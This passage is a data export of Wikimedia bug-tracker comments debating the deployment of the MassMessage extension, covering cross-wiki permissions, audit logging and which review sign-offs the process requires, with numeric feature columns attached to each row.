So just have a request page for anyone new to use, and a right that can be added to anyone who ain't an admin if they've general use for the spammer and clearly understand what not to do, or whatever. I'm sure the meta folks can argue out some actual details there.",,,1380862739,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,2.6666666666666665,1.3333333333333333,0.6666666666666666,0.6666666666666666,2.0,7.333333333333333,1.3333333333333333,0.0,0.0,1.0,1.6666666666666667,2.6666666666666665,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,11.666666666666666,10.666666666666666,1.3333333333333333,1.6666666666666667,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,2.0,1.3333333333333333,0.0,3.3333333333333335,1.3333333333333333,0.3333333333333333,2.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,12.666666666666666,1.3333333333333333,1.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.0,0.6666666666666666,1.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,4.333333333333333,3.0,2.3333333333333335,2.3333333333333335,3.3333333333333335,10.0,0.0,0.0,0.0,0.3333333333333333,7.0,0.0,0.6666666666666666,0.0,2.0,10.666666666666666,0.0,0.0,0.0,0.0,2.0,0.0,2.6666666666666665,2.6666666666666665,0.0,1.3333333333333333,1.0,0.6666666666666666,0.0,3.938607594936709,0.7941455696202532,"(In reply to comment #48)
If there is any way to do global logs (alongside local ones) this would be a very good place to use that, as that would make all wikis much more easily accountable for any usage of this tool.

That said you're probably right in that just enabling the sending part on meta would be better, since, on top of logs and such all being in one place, usage guidelines and crap would also be better synced. And implicitly trusting all admins isn't necessarily a good idea when different projects can have completely different methods and standards when approaching problems, and on top of that pretty much anyone can become an admin at least somewhere (which isn't even necessarily a bad thing, since if they happen to be in the right place even the most unexpected of folks can prove quite useful, but also doesn't mean it should carry weight elsewhere).

So just have a request page for anyone new to use, and a right that can be added to anyone who ain't an admin if they've general use for the spammer and clearly understand what not to do, or whatever. I'm sure the meta folks can argue out some actual details there."
251488,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #34)
> [...] Last year, there was a broken core change about timestamping slipped through
> Platform review and got deployed. Because of that, a better thought-out and
> previously-developed pending core change for the exact same feature from
> Werdna
> got bumped. [...]

The only thing I found is https://gerrit.wikimedia.org/r/#/c/15746 which was merged after ignoring code-review for months, causing a developer and translator revolt.

(In reply to comment #48)
> So I'm not comfortable with a deploy that amounts to giving admins in every
> wiki 'massmessage' permission to every other wiki. I'd be fine with 1)
> limiting
> the availability of the massmessage permission to Meta, or 2) adding back the
> global/local message delivery distinction and enabling local delivery on all
> wikis, and global delivery on Meta.
> 
> Better broadcasting tools should still continually be developed, and the
> imperfections of this approach will hopefully feed into whatever comes next,
> whether it's an iteration on MassMessage or an entirely new approach.

+1
I think this is totally reasonable and was indeed my only true worry about the extension.
I'd add the permission to a special group, possibly reusing centralnoticeadmin group, since the first deploy, to avoid needless requests for adminship.
More than that, we could even try to replicate the logging of the messages content to a wiki page, for enhanced accountability.",,,1380862493,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.5,0.5,0.0,6.5,1.5,0.0,0.0,0.0,1.0,0.5,0.0,1.0,0.0,3.0,0.0,2.5,10.0,0.0,2.5,0.0,0.5,0.0,1.5,0.5,0.0,0.0,0.5,0.5,0.0,2.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.5,0.0,6.0,2.5,12.0,0.5,1.0,7.5,0.0,0.0,0.0,1.0,3.5,0.0,1.0,0.0,3.0,10.0,6.0,0.0,0.0,0.0,3.0,0.0,0.5,2.0,0.0,1.5,0.5,0.0,0.0,3.8196964087375047,0.6198630136986301,"(In reply to comment #34)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The only thing I found is URL which was merged after ignoring code-review for months, causing a developer and translator revolt.

(In reply to comment #48)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

+1
I think this is totally reasonable and was indeed my only true worry about the extension.
I'd add the permission to a special group, possibly reusing centralnoticeadmin group, since the first deploy, to avoid needless requests for adminship.
More than that, we could even try to replicate the logging of the messages content to a wiki page, for enhanced accountability."
251485,Review and deploy MassMessage extension to Wikimedia wikis,s/ReviewerBot/MessengerBot/,,,1380861508,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.4,0.8,s/ReviewerBot/MessengerBot/
251480,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #39)
> This was considered and it's probably easy enough to implement these
> restrictions, but as I said above, I'm not sure they're necessary. My view
> was
> to take a ""wait and see"" approach. If local administrators begin to abuse or
> misuse the tool, we can always add in restrictions later.

I would actually look at it differently. Right now, as I understand it, cross-wiki message delivery is only configured to be run from Meta, where it's easy to see who's configuring what ""spams"" and for what audiences. It's easy for folks to have a shared conversation about what's appropriate and what isn't, and even for people to revert additions that they see as unreasonable.

So you've actually created a very clever tool that plays well into the norms of the wiki community, and uses an existing shared space (Meta) in the intended manner.

In contrast, enabling admins everywhere to _easily_ post bulk messages across wikis from anywhere, with the audit trail being HTML comments in the messages that are left, is IMO quite likely to play against the norms of the wiki, because messages _will_ be sent in a manner that's inconsistent with the norms of a given target wiki, and it'll be harder for the community to have a shared conversation about it or even to easily see what's happening (because there is no central message log at that point).

Because actions such as compiling target lists are dispersed, the normal processes of community peer review won't kick in as effectively to moderate and monitor behavior.

Yes, anyone can of course post anywhere today, but not everyone has access to a shared bot account that they can use on any wiki to do so, nor do they have an automated delivery tool. ReviewerBot would suddenly take bot actions on wikis and users would be tasked with figuring out what's going on. That's manageable if the only possible source is Meta, but more problematic if the source is any of our wikis.

Cross-wiki bulk messages to anywhere from anywhere are a significant change from the status quo that requires more consideration. And on that point, WMF will certainly get the blame if the tool is misused.

So I'm not comfortable with a deploy that amounts to giving admins in every wiki 'massmessage' permission to every other wiki. I'd be fine with 1) limiting the availability of the massmessage permission to Meta, or 2) adding back the global/local message delivery distinction and enabling local delivery on all wikis, and global delivery on Meta.

Better broadcasting tools should still continually be developed, and the imperfections of this approach will hopefully feed into whatever comes next, whether it's an iteration on MassMessage or an entirely new approach.",,,1380861333,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1.0,0.4,0.4,1.6,0.8,7.6,0.8,0.6,0.0,0.6,2.2,1.6,0.0,0.4,0.2,1.0,0.4,7.4,14.4,0.4,1.8,0.2,0.0,0.0,0.0,0.0,0.0,0.2,0.4,1.6,0.2,6.0,0.8,1.4,0.8,0.2,0.0,0.0,0.2,0.4,0.2,0.6,0.4,3.2,0.0,0.4,0.4,1.0,0.0,14.0,0.2,0.6,0.2,0.4,0.0,0.0,0.0,0.0,1.6,0.2,0.4,1.6,0.2,0.6,0.2,1.0,0.0,6.2,3.4,6.2,1.8,3.4,8.6,0.0,0.0,0.0,0.2,4.8,0.2,0.4,0.0,3.6,14.4,2.6,0.0,0.8,0.0,3.6,0.0,3.0,2.4,0.0,2.2,0.8,0.0,0.2,4.143252525252525,0.7133939393939395,"(In reply to comment #39)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I would actually look at it differently. Right now, as I understand it, cross-wiki message delivery is only configured to be run from Meta, where it's easy to see who's configuring what ""spams"" and for what audiences. It's easy for folks to have a shared conversation about what's appropriate and what isn't, and even for people to revert additions that they see as unreasonable.

So you've actually created a very clever tool that plays well into the norms of the wiki community, and uses an existing shared space (Meta) in the intended manner.

In contrast, enabling admins everywhere to _easily_ post bulk messages across wikis from anywhere, with the audit trail being HTML comments in the messages that are left, is IMO quite likely to play against the norms of the wiki, because messages _will_ be sent in a manner that's inconsistent with the norms of a given target wiki, and it'll be harder for the community to have a shared conversation about it or even to easily see what's happening (because there is no central message log at that point).

Because actions such as compiling target lists are dispersed, the normal processes of community peer review won't kick in as effectively to moderate and monitor behavior.

Yes, anyone can of course post anywhere today, but not everyone has access to a shared bot account that they can use on any wiki to do so, nor do they have an automated delivery tool. ReviewerBot would suddenly take bot actions on wikis and users would be tasked with figuring out what's going on. That's manageable if the only possible source is Meta, but more problematic if the source is any of our wikis.

Cross-wiki bulk messages to anywhere from anywhere are a significant change from the status quo that requires more consideration. And on that point, WMF will certainly get the blame if the tool is misused.

So I'm not comfortable with a deploy that amounts to giving admins in every wiki 'massmessage' permission to every other wiki. I'd be fine with 1) limiting the availability of the massmessage permission to Meta, or 2) adding back the global/local message delivery distinction and enabling local delivery on all wikis, and global delivery on Meta.

Better broadcasting tools should still continually be developed, and the imperfections of this approach will hopefully feed into whatever comes next, whether it's an iteration on MassMessage or an entirely new approach."
251473,Review and deploy MassMessage extension to Wikimedia wikis,"**tchay** wrote:

> > To the first document which has its origins in the SVN days, the first stop
> > with Howie Fung and his product management team. To my knowledge the only
> > person asked was a Dan Garry, and not as a first stop on anything. 
> 
> Dan was cc'd by Greg in comment 13. I wasn't aware that Platform and/or
> Features were supposed to be in the loop so I never bothered to do it.

It's unfortunate. Dan is new and is not really in a position to speak for product, and I don't think that was the intent of comment 13 to make him make a call.

The implication of Platform or Features is in the later stage of code review for deployment. There was a time that Sumana would manage that using 20% time volunteered by Features, but that was over a year ago. :-( Since then commitment to maintain deployed extensions has fallen through the crack between Platform and Features.

> Correct. I had spoken with Greg a few days earlier about emailing wikitech-l
> /
> Aaron / Tim for the architecture review, and he recommended that I wait for
> your comments ;-)

Oh, well then why was it added to the deploy calendar? Can we remove it backand wait for comments to make sure it's okay to deploy before adding it to the lsit of things to be deployed? As it stands now, my position is I'm okay with it because Ori is okay with helping you support and monitor it for issues that might crop up like comment 37 above.

> > The second document is newly written by Platform not vetted by anyone in
> > Features.
> 
> For someone outside of the WMF who is trying to get an extension deployed,
> the
> distinction between Platform and Features isn't very clear, nor really
> important. Was VipsScaler (also written by a volunteer) handled by Features?

No, and in earlier incarnations of the queue, I think [[mw:VipsScaler]] was linked. Development on it was started in 2011, I think multimedia team (originally a Features team, now in Platform) deployed it. That team is obviously committed to maintain. :-)

> All we really want is our code deployed :P

Totally understandable. :-)


> The checklist is fine, it just seems like its missing one step according to
> you
> (notify Features and/or Platform teams).

I'm okay with clarifying that a design review means a product design review and PM signoff and adding that a plan for engineering, product, and design maintenance needs to be in place going forward (beyond simply bugzilla).",,,1380858967,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.25,1.25,0.5,2.5,1.5,0.25,0.0,0.0,1.75,0.75,0.5,0.0,0.25,1.75,0.5,4.25,11.25,0.0,2.0,0.0,0.25,0.0,2.0,0.75,0.0,0.25,0.5,0.25,0.25,4.5,1.0,2.5,2.25,0.25,0.0,0.0,0.0,0.0,0.0,0.25,1.25,2.75,0.0,0.5,0.25,0.25,0.25,12.5,0.75,0.5,0.0,0.25,0.0,0.25,0.0,0.25,0.75,0.0,0.0,0.5,0.0,0.5,0.25,0.25,0.0,4.0,3.5,12.75,1.5,2.75,4.75,0.0,0.5,0.0,0.0,4.0,0.5,1.0,0.0,5.0,11.25,6.25,0.5,0.0,0.0,5.0,0.0,0.75,2.25,0.25,1.75,0.25,0.0,0.75,3.8132530120481927,0.6686746987951808,"**tchay** wrote:

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It's unfortunate. Dan is new and is not really in a position to speak for product, and I don't think that was the intent of comment 13 to make him make a call.

The implication of Platform or Features is in the later stage of code review for deployment. There was a time that Sumana would manage that using 20% time volunteered by Features, but that was over a year ago. :-( Since then commitment to maintain deployed extensions has fallen through the crack between Platform and Features.

QUOTE
QUOTE
QUOTE
QUOTE

Oh, well then why was it added to the deploy calendar? Can we remove it backand wait for comments to make sure it's okay to deploy before adding it to the lsit of things to be deployed? As it stands now, my position is I'm okay with it because Ori is okay with helping you support and monitor it for issues that might crop up like comment 37 above.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No, and in earlier incarnations of the queue, I think [[mw:VipsScaler]] was linked. Development on it was started in 2011, I think multimedia team (originally a Features team, now in Platform) deployed it. That team is obviously committed to maintain. :-)

QUOTE

Totally understandable. :-)


QUOTE
QUOTE
QUOTE

I'm okay with clarifying that a design review means a product design review and PM signoff and adding that a plan for engineering, product, and design maintenance needs to be in place going forward (beyond simply bugzilla)."
251469,Review and deploy MassMessage extension to Wikimedia wikis,"**tchay** wrote:

(In reply to comment #41)
> (In reply to comment #7)
> > == TODO/Check list ==
> > Extension page on mediawiki.org: yes
> > Bugzilla component: yes
> > Extension in Gerrit: yes
> > Design Review: no
> > Archeticecture/Performance Review: no
> > Security Review: no
> > Screencast (if applicable): no
> > Community support: no?
> 
> As a designer, I did a design review over IRC. I said something along the
> lines
> of 'looks shiny'.
> 
> I hope that helps, as I'm not sure what more you could want with this kind of
> extension. Other issues beyond the interface itself have generally already
> been
> established by precedent (EdwardsBot).

We'd have to ask Greg what he really meant by this when he added that to [[mw:Review queue]] instead of leaving the process pointing back to [[mw:Writing_an_extension_for_deployment]], but if I were to hazard a guess:

I think Greg tried to clear the review queue because it was suffering from neglect. He tried summarize the original linked document: [[mw:Writing_an_extension_for_deployment#Design_review]] by saying it has a proper ""design review."" It clearly implies design review as being a product design review with a design UI design component [[mw:WMF_Project_Design_Review_Process]] probably dating back to when they were in the same department.

If you look at an earlier revision [https://www.mediawiki.org/w/index.php?title=Review_queue&oldid=697844], you can see the tracking list that was its original purpose since Brion created it. Around that time, it was getting unmanageable four months ago with little movement. My guess is that there simply had been no recent Extensions (other than in-flight extensions like Math and SignupAPI) that had actually gone through this process and in an effort to systematize the process into a workable checklist, it got morphed over time from ""send it to product design for review"" to ""send an e-mail to a designer and to the design mailing list."" *shrug*",,,1380857974,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,2.75,1.5,0.25,0.0,0.5,1.75,0.25,0.0,0.0,0.25,1.0,0.0,2.75,11.0,0.0,2.25,0.0,0.25,0.0,3.75,0.25,0.0,0.25,0.25,0.25,0.25,1.25,1.5,2.25,1.25,0.5,0.0,0.0,1.0,0.25,0.25,1.0,0.25,1.75,0.0,0.0,0.0,0.25,0.25,12.25,0.5,1.0,0.25,0.25,0.0,0.0,0.0,0.75,0.25,0.0,0.0,0.25,0.0,0.25,0.0,0.25,0.0,4.5,2.0,10.25,2.0,1.25,5.75,0.0,0.0,0.0,0.25,3.0,0.0,0.5,0.0,4.75,11.0,7.0,0.0,1.75,0.0,4.75,0.0,1.25,2.5,0.0,1.5,0.25,0.0,3.5,3.9506578947368425,0.6513157894736843,"**tchay** wrote:

(In reply to comment #41)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We'd have to ask Greg what he really meant by this when he added that to [[mw:Review queue]] instead of leaving the process pointing back to [[mw:Writing_an_extension_for_deployment]], but if I were to hazard a guess:

I think Greg tried to clear the review queue because it was suffering from neglect. He tried summarize the original linked document: [[mw:Writing_an_extension_for_deployment#Design_review]] by saying it has a proper ""design review."" It clearly implies design review as being a product design review with a design UI design component [[mw:WMF_Project_Design_Review_Process]] probably dating back to when they were in the same department.

If you look at an earlier revision [URL you can see the tracking list that was its original purpose since Brion created it. Around that time, it was getting unmanageable four months ago with little movement. My guess is that there simply had been no recent Extensions (other than in-flight extensions like Math and SignupAPI) that had actually gone through this process and in an effort to systematize the process into a workable checklist, it got morphed over time from ""send it to product design for review"" to ""send an e-mail to a designer and to the design mailing list."" *shrug*"
251466,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #40)
> (In reply to comment #38)
> 
> > > The requirement for extensions to be deployed has ALWAYS been that Features
> > > Engineering sign off on a commitment to maintain the extension.
> > 
> > This isn't consistent with the documentation at [[mw:Writing an extension for
> > deployment]], [[mw:Review queue]] and Greg's checklist in comment 7.
> 
> Interesting links.
> 
> To the first document which has its origins in the SVN days, the first stop
> with Howie Fung and his product management team. To my knowledge the only
> person asked was a Dan Garry, and not as a first stop on anything. 

Dan was cc'd by Greg in comment 13. I wasn't aware that Platform and/or Features were supposed to be in the loop so I never bothered to do it.

> I mentioned
> in my original post why that people should know better. The second stop was
> wikitech-l. To my knowledge mine was the first post on the subject.

Correct. I had spoken with Greg a few days earlier about emailing wikitech-l / Aaron / Tim for the architecture review, and he recommended that I wait for your comments ;-)


> The second document is newly written by Platform not vetted by anyone in
> Features.

For someone outside of the WMF who is trying to get an extension deployed, the distinction between Platform and Features isn't very clear, nor really important. Was VipsScaler (also written by a volunteer) handled by Features? All we really want is our code deployed :P
 
> The third link refers to someone who has been at the WMF even less time than
> me. If we're to use MZMcBrides seniority rules, the fact that some
> newly-minted, improperly vetted document was used by a relatively new
> engineer
> doesn't carry weight.

The checklist is fine, it just seems like its missing one step according to you (notify Features and/or Platform teams).

> I hope that documentation is updated.

Be bold!",,,1380856387,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.6666666666666666,3.0,2.0,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,0.0,0.0,2.3333333333333335,0.0,3.6666666666666665,8.333333333333334,0.3333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,3.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,3.0,0.3333333333333333,1.3333333333333333,1.6666666666666667,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,7.333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,18.333333333333332,1.0,2.0,3.3333333333333335,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.0,1.0,0.0,4.666666666666667,8.333333333333334,12.333333333333334,0.3333333333333333,0.0,0.0,4.666666666666667,0.0,0.3333333333333333,1.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,3.7198067632850242,0.6859903381642513,"(In reply to comment #40)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Dan was cc'd by Greg in comment 13. I wasn't aware that Platform and/or Features were supposed to be in the loop so I never bothered to do it.

QUOTE
QUOTE
QUOTE

Correct. I had spoken with Greg a few days earlier about emailing wikitech-l / Aaron / Tim for the architecture review, and he recommended that I wait for your comments ;-)


QUOTE
QUOTE

For someone outside of the WMF who is trying to get an extension deployed, the distinction between Platform and Features isn't very clear, nor really important. Was VipsScaler (also written by a volunteer) handled by Features? All we really want is our code deployed :P
 
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The checklist is fine, it just seems like its missing one step according to you (notify Features and/or Platform teams).

QUOTE

Be bold!"
251460,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #41)
> As a designer, I did a design review over IRC. I said something along the
> lines
> of 'looks shiny'.

For reference, Isarra created [[commons:File:Massmessage preview (uncyc).png]], and pointed out a few flaws in the initial design, like using tables for the form (now switched to proper <div>s), and the submit/preview buttons stacked on top of each other (now side-by-side).",,,1380855315,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,2.0,6.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,13.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,5.0,3.3658536585365852,0.7195121951219512,"(In reply to comment #41)
QUOTE
QUOTE
QUOTE

For reference, Isarra created [[commons:File:Massmessage preview (uncyc).png]], and pointed out a few flaws in the initial design, like using tables for the form (now switched to proper <div>s), and the submit/preview buttons stacked on top of each other (now side-by-side)."
251455,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #39)
> (In reply to comment #37)
> > Is the current thinking to give users on any wiki the right to use
> > Special:MassMessage to spam users on any other wiki?
> 
> Yes. The design idea here was that this is already possibly by any user.
> Anyone
> can open up a bunch of browser tabs and post to dozens of wikis quickly
> without
> even logging in. Or, for example, I've been posting to hundreds of wikis for
> years without a privileged account using only a very simple Python script.

It might be worth noting that the MassMessage bot account used automatically adds itself to the 'bot' group, but isn't able to override full protections or anything like that.

> 
> > It seems to me you'd want something like:
> > 
> > * Users on Meta can trigger cross-wiki notifications;
> > * Users on any other wiki can only trigger local notifications.
> 
> This was considered and it's probably easy enough to implement these
> restrictions, but as I said above, I'm not sure they're necessary.

An initial version of the extension had this differentiation, but it was removed in https://gerrit.wikimedia.org/r/#/c/78047/. I don't mind revisiting the concept either (file a bug for it?), as it wouldn't be hard to implement technically.

> My view was
> to take a ""wait and see"" approach. If local administrators begin to abuse or
> misuse the tool, we can always add in restrictions later.
> 
> > Otherwise you end up with an audit trail mess. Having a single log in one
> > place and a single place to set policy around these things seems highly
> > desirable.

I actually wrote [[mw:Extension:CentralLogging]] for this problem a while back, but it wouldn't work in the WMF environment.

  
> The bot currently provides an audit trail by (optionally?) appending an HTML
> comment containing the originating wiki, message sender's name, etc., I
> believe. Lego can confirm this.

The audit trail is not optional (though a wiki could choose to blank the message and make it useless). An example is <https://test2.wikipedia.org/w/index.php?title=User_talk:Legoktm&action=edit&section=2>, which includes the origin wiki, sender, and spamlist used.",,,1380855098,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0.0,0.3333333333333333,0.0,0.3333333333333333,2.0,2.6666666666666665,1.3333333333333333,0.0,0.3333333333333333,0.0,1.3333333333333333,2.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,3.6666666666666665,5.666666666666667,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,2.3333333333333335,0.3333333333333333,2.6666666666666665,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,10.666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,5.333333333333333,2.3333333333333335,15.0,0.6666666666666666,2.3333333333333335,7.0,0.0,0.0,0.0,0.3333333333333333,4.333333333333333,0.0,0.3333333333333333,0.0,3.3333333333333335,5.666666666666667,8.0,0.3333333333333333,0.6666666666666666,0.0,3.3333333333333335,0.0,0.3333333333333333,2.0,0.3333333333333333,0.6666666666666666,0.0,0.0,1.6666666666666667,3.6291079812206575,0.647887323943662,"(In reply to comment #39)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It might be worth noting that the MassMessage bot account used automatically adds itself to the 'bot' group, but isn't able to override full protections or anything like that.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

An initial version of the extension had this differentiation, but it was removed in URL I don't mind revisiting the concept either (file a bug for it?), as it wouldn't be hard to implement technically.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I actually wrote [[mw:Extension:CentralLogging]] for this problem a while back, but it wouldn't work in the WMF environment.

  
QUOTE
QUOTE
QUOTE

The audit trail is not optional (though a wiki could choose to blank the message and make it useless). An example is <URL which includes the origin wiki, sender, and spamlist used."
251447,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #40)
> Do you have a link to this doctrine regarding software deployments and
> sign-offs? [...] perhaps there's a guideline you've written on mediawiki.org,
> wikitech.wikimedia.org, or Meta-Wiki. Please share.

Go on. I'll wait.",,,1380854469,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,5.0,14.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.7727272727272727,"(In reply to comment #40)
QUOTE
QUOTE
QUOTE

Go on. I'll wait."
251440,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #7)
> == TODO/Check list ==
> Extension page on mediawiki.org: yes
> Bugzilla component: yes
> Extension in Gerrit: yes
> Design Review: no
> Archeticecture/Performance Review: no
> Security Review: no
> Screencast (if applicable): no
> Community support: no?

As a designer, I did a design review over IRC. I said something along the lines of 'looks shiny'.

I hope that helps, as I'm not sure what more you could want with this kind of extension. Other issues beyond the interface itself have generally already been established by precedent (EdwardsBot).",,,1380854018,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0.0,1.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,2.0,1.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,7.0,12.0,10.0,0.0,2.0,0.0,7.0,0.0,1.0,2.0,1.0,0.0,1.0,0.0,0.0,3.577777777777778,0.6666666666666666,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

As a designer, I did a design review over IRC. I said something along the lines of 'looks shiny'.

I hope that helps, as I'm not sure what more you could want with this kind of extension. Other issues beyond the interface itself have generally already been established by precedent (EdwardsBot)."
251438,Review and deploy MassMessage extension to Wikimedia wikis,"**tchay** wrote:

You're going to resort to ad hominem instead of attacking the argument when you're already getting what you want?

I am not trying to ""dictate"" anything to volunteers. Volunteers didn't deploy the code onto test and test2, it was Reedy. Volunteers are free to develop. They're not free to have their developed code deployed on the cluster. Nobody is.

